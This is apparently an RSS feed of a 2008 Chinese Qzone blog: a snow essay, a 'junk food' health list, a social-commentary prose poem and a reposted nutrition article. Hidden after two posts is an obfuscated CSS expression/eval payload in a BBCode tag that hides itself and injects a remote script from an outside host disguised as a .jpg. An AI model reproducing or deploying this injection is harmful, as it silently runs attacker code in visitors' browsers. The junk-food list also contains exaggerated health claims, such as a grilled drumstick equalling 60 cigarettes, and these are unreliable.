http://756892781.qzone.qq.com Sat, 28 Nov 2009 17:58:59 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 17 Jan 2008 07:52:46 GMT http://756892781.qzone.qq.com/blog/1200556366 终于下雪了!记忆中近些年来的冬日就少见雪花飘落.整个冬天里一直企盼与它的相逢，而直至今日它才姗姗来迟。昨天下午收到信息：有雪，气温降至零下二到三度。果不其然，这早晨于我的感觉，好冷！

隔窗而望，天空灰蒙蒙，眼前只有漫天的雪花飞舞，时而密匝，时而稀疏，在空中回转、飞旋，一片片，一层层的覆盖着眼前的一切。远处，楼顶已一片雪白，它那急切的拥抱之势，令我兴奋不已。透过窗户，已可欣赏到素雪装桢的几幅绝妙的风景画了。喜欢这洁白的世界，更喜空气中鲜洁的气息，似幽雅的兰花，又同清淡的茉莉。

印象中已很少见到雪了。去年冬日，那空中曾飘飞过几朵雪花，只是一落到地面，那融成水的它们，即无痕迹，空留一湿漉漉的路面，更谈不上能踩踏出悉索的悦耳声，惟能享受到的，便是任它们沾衣扑面，重温相逢的点点欢喜了。

忆起小的时候，脚踩厚如毛毡的雪地，手捏团成圆的雪球，深一脚，浅一脚的走在银装素裹的世界,脚下发出吱吱地声响，洁净的雪地上留下两行细小的脚印。勿须担心那雪湿了衣襟，即便是在雪地上纵情的打两个滚儿，起身后只稍轻摇几下即可，那模样，调皮得似同在雨中抖动翅膀的鸟儿。路边那修剪整齐的冬青，已如同半截的雪墙，拿手轻轻一碰，扑簌簌掉下成块的积雪，露出深绿的叶子来。白茫茫的视野中，忽生的这极其显眼的颜色，尤为好看。

如若在风歇雪停的午后，天空中有阳光洒落，路边尚有微雪薄积，一边经受着雪后的严寒，一边沿着街边行走，留神细看，你会发现，那积雪下涌动的新绿，还泛着赫红的嫩芽，如初生的婴孩，显露出不可阻拦的长势，在这青天碧落之下，于这萧索的季节，带来点点春意，饱觉这大自然带来的含蓄的生气。

已无法见到李白笔下的“燕山雪花大如席”了，恐怕只待有闲情逸致时，伫立窗口，细数“一片一片又一片，飞入梅花都不见”；更无法于大雪纷飞时如袁安般般吟哦出“风吹雪片似花落”的诗句；只有想像着，“寒沙梅影路，微雪酒香村” 了，那冬日中能与雪月梅酒相晤，是这时日里何等的乐事、雅事？

前年的冬日，朋友于这雪花飞舞的时节，送来暖暖的祝福与亲切的问候,那份萦怀的感动，难已淡没的话语，一直驻留于心不曾相忘。而今又逢雪舞，不知远方的友人这个时节一切可好？

下雪了，这银白的世界，纯洁、宁静。


[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://756892781.qzone.qq.com/blog/1200556366#comment 512 Thu, 17 Jan 2008 07:52:46 GMT http://756892781.qzone.qq.com/blog/1200556366 http://756892781.qzone.qq.com/blog/1200363871
　　一、腌制类食品

　　代表：酸菜、咸菜、咸蛋、咸肉……

　　垃圾标签：

　　1.含三大致癌物之一：亚硝酸盐

　　2.在腌制过程中容易滋生微生物

　　3.影响粘膜系统，易得溃疡和发炎，对肠胃有害

　　这类食物含有大量的盐，腌制中就会产生亚硝酸盐，而亚硝酸盐进入人体后又会形成亚硝胺，这是一种很强的致癌物质。腌制食物在腌制过程中，常被微生物污染，易造成口腔溃疡、鼻咽炎，对肠胃有害，多盐还易造成高血压。



二、油炸类食物

　　代表：油条、油饼、薯片……

　　垃圾标签：

　　1.导致心血管疾病的元凶

　　2.含致癌物质：丙烯酰胺（2级污染---接近汽车排放的废气）（薯片等碳水化合物油炸后）

　　3.高温过程破坏维生素,使蛋白质变性，煎焦的鱼皮中含有苯并芘

　　油条中含有对人体有害的物质——明矾。明矾是一种含铝的无机物，被人体吸收后会对大脑及神经细胞产生毒害，使记忆力减退、抑郁和烦躁，导致心血管疾病。油炸食品中油的反复使用过程中会生成过氧化脂致癌物。



三、加工肉类食品

　　代表：熏肉、腊肉、肉干、鱼干、香肠……

　　垃圾标签：

　　1.盐多导致高血压、鼻咽癌、肾脏负担过重

　　2.含大量防腐剂、增色剂等填加剂

　　过多食用会对肝脏造成损伤。



四、汽水、可乐类饮料

　　代表：汽水、可乐……

　　垃圾标签：

　　1.含磷酸、碳酸：带去人体中大量的钙

　　2.含糖量过高：喝后有饱胀感，影响正餐

　　汽水是一种由香料、色素、二氧化碳碳水合成的饮品，含大量碳酸，会带走体内大量的钙；含糖量过高，超过人体正常需要；喝后有饱胀感，影响正餐



　　六、方便类食品

　　代表：方便面、方便米粉……

　　垃圾标签：

　　1.盐分过高、含防腐剂、香精，易损伤肝脏

　　2.只有热量，没有营养

　　方便类食品营养素过于单调，对微量元素的摄取明显不足，造成营养不均衡。调味包中味精、盐

　　过多；蔬菜包几乎没有任何营养；含防腐剂。除了可以充饥之外，几乎没有什么营养作用。




　七、罐头类食品

　　代表：水果罐头、鱼、肉罐头……

　　垃圾标签：

　　1.破坏维生素，使蛋白质变性

　　2.热量过多，营养成分低

　　3.与铝锡接触受污染、易患老年痴呆症

　　罐头加工中维生素几乎完全破坏，含糖、盐过高，热量过多，营养低。肉类稍好。

　　八、话梅、蜜饯类食品

　　垃圾标签：

　　1.含亚硝酸盐

　　2.盐分过高，含防腐剂、香精---损伤肝脏

　　加工过程中，水果中所含维生素C完全破坏；除了热量外，几乎没有其它营养。添加大量香精、防腐剂，对健康不利。话梅含盐过高，长期摄入会诱发高血压。

　　代表：果脯、话梅、蜜饯……



　九、冷冻甜品类食品

　　代表：冰淇淋、冰棒……

　　垃圾标签：

　　1.含奶油极易引起肥胖

　　2.含糖量过高，影响正餐

　　有一定营养，但是含糖量和脂肪量过高，容易引起肥胖，影响正餐，造成营养不均衡。



　
　十、烧烤类食品

　　代表：羊肉串、铁板烧……

　　垃圾标签：

　　1.含大量“三苯四丙吡”_三大致癌物质之首

　　2.导致蛋白质碳化变性

　　烤肉串中含有三苯四丙吡，这种化合物随食物进入胃后，与胃粘膜接触，构成胃癌发病的危险因素。熏烤肉食时，很多加工条件及环境限制，肉串不熟，细菌、寄生虫过多，会加重肝脏负担。

　　一只烤鸡腿等于60支香烟的毒素。




既然大家知道这些食物多吃对身体不利，那么在解谗的同时，我们是不是要控制自己不能吃太多呢？毕竟这些是存在的事实，希望来这里的网友们，都能身体棒棒，所以要少吃哦：）
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://756892781.qzone.qq.com/blog/1200363871#comment 513 Tue, 15 Jan 2008 02:24:31 GMT http://756892781.qzone.qq.com/blog/1200363871 http://756892781.qzone.qq.com/blog/1199952291 《有一种死亡叫麻木》

当弄权者沉醉于你死我活的尔虞我诈的时候，包二奶成了他活着的证明。

当生意人日进斗金夜夜笙歌的时候，挥金如土已经掩饰不住日复一日的麻木。

当60人笑看80、90的少年轻狂的时候，我们更愿意忽略60人一日重似一日的冷漠。

超女被不屑了，快男被不屑了。声色犬马在60的眼里全有了自己方式的定义，全然不顾这自我的定义已经被社会媒体喧嚣而上的“主流”抛弃的渐行渐远。

红楼选秀被唾弃了，被强烈怀旧的导演和观众合着伙唾弃，浪费了少男、少女多少热血和真诚并不重要，只要赞助商出够了风头，只要电视台赚够了眼球。诚信是不被提起的，被制片方连同“胜出的”俊男美女一道踢到一边，甚至没有多问一句“为什么”的权利。就像大马的华人被奸杀了，商店被抢了，连喊叫都显得垂死、遥远、虚无缥缈。甚至在那喊叫过后，去那儿旅游的国人并未减少，电视上仍会不时闪闪那“迷人的”异国风光，对麻木或不麻木的国人鼓骚。

民主的听证制度被利益集团强奸着，不时发出涨价或降价的呻吟。在欧共体考量取消“国与国”之间漫游通话费一年多的时候，我们要等待“国内漫游”资费降价听证的佳音。

不妨就做一盆吊兰，就像被我放在冰箱上的那盆。

被遗忘了，就那么耐着性子，叶子慢慢的发白、泛黄，却并不死亡。直到被想起了，一瓢水下去，油绿油绿，感恩地刺着生命卑微而倔强的微光。

就那么活在对水的希望里，舒曼着薄薄的叶片，偶尔，在不经意间就垂下了朵朵生命的延续，嫩嫩的，带着扎根的愿望。全然忘了自己所处的环境，忘了自己是活在冰箱上的一盆吊兰，忘了所有的坚持着的扎根的希望仅仅是----希望。

]]> http://756892781.qzone.qq.com/blog/1199952291#comment 512 Thu, 10 Jan 2008 08:04:51 GMT http://756892781.qzone.qq.com/blog/1199952291 http://756892781.qzone.qq.com/blog/1199776521 [温馨生活提示]一天不能少吃的六色食物http://www.jiaodong.net 2008-01-06 08:31:29 健康时报 ［[url=javascript:doZoom(16)]大[/url] [url=javascript:doZoom(14)]中[/url] [url=javascript:doZoom(12)]小[/url]］　　我们可把每日常吃的多种食物归为“六色”，搭配、烹饪得当，非常重要、有益。
　　米色食物——红豆大麦大枣蒸米饭(红豆、大麦米、粳米、大枣)
　　评点：红豆和大麦B族维生素含量高，而且含有大量膳食纤维，具有预防糖尿病、增强饱腹感、预防便秘和水肿的作用，和大米搭配食用非常合理。红枣不仅补血养颜，还能增加米饭的香气。
　　提示：红豆和大麦米预先在水中泡过数小时，以便较快地煮熟，不会留下硬心，妨碍米饭的柔软口感。
　　白色食物——皮蛋虾仁拌豆腐
　　评点：简单易做，清爽可口，却富含蛋白质和钙。这是一份很好的夏季凉菜，豆腐、皮蛋和虾仁都是凉性，有利于清除燥热。
　　提示：虾仁可用泡开的海米代替。海米含钙量也非常高，与豆腐相配不仅口味鲜美而且营养协调。
　　黑色食物——青豆三菇汤(木耳、香菇、白灵菇)
　　评点：菇类一向具有健康食品的形象，其中所含菌类多糖多半具有免疫调节、防癌抗癌、降脂降糖的功效。此外，菇类食品热量极低，饱腹感强却不会令人发胖，也为女士们所特别钟爱。加上富含蛋白质和大豆异黄酮的青豆(青豆是黄豆的姐妹，营养价值相仿)，营养保健作用更为全面。
　　提示：菇类质量需要特别关注，掺假木耳、变质香菇等绝不能食用。
　　红色食物——洋葱芦笋爆鸡心(肉类)
　　评点：鸡心属于内脏类食物，许多女性对其望而却步。其实这是不必要的担心，因为鸡心与肝、肾不同，其中脂肪和胆固醇含量较低，也不参与废物的排泄和污染的处理，故而可以放心食用。更重要的是，心脏中的维生素B1、B2、尼克酸、铁、锌、铜等微量营养素含量比肌肉部分高得多。
　　提示：肉鸡心脏表面有一些油脂，应将其除去，可进一步降低脂肪含量。
　　绿色食物——美味时蔬荟萃(西兰花、芥蓝尖、荷兰豆、芹菜、百合、蟹蓉)
　　评点：西兰花和芥蓝都属于营养素含量最高的蔬菜，并具有强大的抗癌效果。芹菜和荷兰豆富含不溶性纤维和钙，而百合是传统的滋补品。
　　提示：为了保存蔬菜中的营养素和清爽口感，几种蔬菜分别保持恰当的成熟度很重要。
　　黄色食物——蜜汁南瓜(南瓜、山药、红枣、白果)
　　评点：南瓜富含胡萝卜素，是上榜的抗癌食品，也有降血糖和减肥的功效。加上补血养颜的红枣、补中益气的山药以及润肺化痰的白果，不仅能补充营养、预防衰老，还对女性的身体具有多方面的调养作用。
　　提示：有些女性因为顾忌体重不敢吃这道甜食，不妨尝试用无热量甜味剂来制作蜜汁菜。(特约专家范志红) ]]> http://756892781.qzone.qq.com/blog/1199776521#comment 512 Tue, 08 Jan 2008 07:15:21 GMT http://756892781.qzone.qq.com/blog/1199776521 http://756892781.qzone.qq.com/blog/1199606880
　　最近新电影不少，你有没有什么电影想推荐给我？给我留言吧。除了电影，生活也是很丰富的。如果我有一个假期，我希望找朋友们聚聚，能好好的旅游一次，最好再有时间好好的休息一下。你打算怎么度过你的假期的？告诉我吧！

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